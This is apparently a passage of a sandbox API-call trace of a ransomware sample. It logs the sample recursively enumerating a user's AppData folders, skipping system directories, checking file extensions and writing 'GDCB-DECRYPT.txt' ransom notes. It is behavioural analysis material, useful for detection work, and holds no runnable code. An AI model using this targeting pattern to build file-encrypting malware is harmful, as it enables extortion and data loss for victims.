FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.151] lstrcmpW (lpString1="Temp", lpString2=".") returned 1 [0170.151] lstrcmpW (lpString1="Temp", lpString2="..") returned 1 [0170.151] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Temp" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp" [0170.151] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp") returned 159 [0170.151] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.151] lstrcmpW (lpString1="Temporary Internet Files", lpString2=".") returned 1 [0170.151] lstrcmpW (lpString1="Temporary Internet Files", lpString2="..") returned 1 [0170.152] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Temporary Internet Files" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files" [0170.152] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files") returned 179 [0170.152] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.152] lstrcmpW (lpString1="TileDataLayer", lpString2=".") returned 1 [0170.152] lstrcmpW (lpString1="TileDataLayer", lpString2="..") returned 1 [0170.152] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="TileDataLayer" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer" [0170.152] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer") returned 168 [0170.152] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.152] lstrcmpW (lpString1="VirtualStore", lpString2=".") returned 1 [0170.152] lstrcmpW (lpString1="VirtualStore", lpString2="..") returned 1 [0170.152] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="VirtualStore" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore" [0170.152] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore") returned 167 [0170.152] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0170.152] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.152] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.152] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt") returned 172 [0170.152] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.153] GetLastError () returned 0x50 [0170.153] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.153] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\") returned 155 [0170.154] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*" [0170.154] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5a4a18 [0170.154] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.154] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.154] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.154] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.154] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.154] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0170.154] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0170.154] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Adobe" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe" [0170.154] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\" [0170.154] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.154] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.154] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.154] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.154] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.154] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.155] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\") returned 161 [0170.155] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*" [0170.155] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x5a4dd8 [0170.155] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.155] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.155] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.155] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.155] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.155] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0170.155] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0170.155] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat" [0170.155] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned 168 [0170.155] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.155] lstrcmpW (lpString1="AcroCef", lpString2=".") returned 1 [0170.155] lstrcmpW (lpString1="AcroCef", lpString2="..") returned 1 [0170.155] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="AcroCef" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef" [0170.155] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef") returned 168 [0170.155] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.155] lstrcmpW (lpString1="Color", lpString2=".") returned 1 [0170.155] lstrcmpW (lpString1="Color", lpString2="..") returned 1 [0170.155] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Color" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color" [0170.155] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color") returned 166 [0170.155] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.155] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.155] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.155] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt" [0170.155] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 177 [0170.155] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.155] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0170.156] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.156] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.156] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt") returned 178 [0170.156] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.157] GetLastError () returned 0x50 [0170.157] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.157] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\") returned 161 [0170.157] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*" [0170.157] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x5a4c58 [0170.158] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.158] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.158] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.158] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.158] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.158] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0170.158] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0170.158] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat" [0170.158] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\" [0170.158] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.158] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.158] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.158] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.158] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.158] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.158] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned 169 [0170.158] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*" [0170.158] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*", lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0x5a4dd8 [0170.158] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.158] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.158] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.158] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.158] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.159] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0170.159] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0170.159] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC" [0170.159] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned 171 [0170.159] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.159] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.159] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.159] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt" [0170.159] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 185 [0170.159] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.159] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0 [0170.159] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.159] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.159] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt") returned 186 [0170.159] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.160] GetLastError () returned 0x50 [0170.160] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.160] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned 169 [0170.160] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*" [0170.160] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*", lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0x5a4dd8 [0170.161] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.161] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.161] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.161] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.161] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.161] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0170.161] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0170.161] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC" [0170.161] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\" [0170.161] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.161] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.161] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.161] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.161] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.161] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.161] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned 172 [0170.161] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and 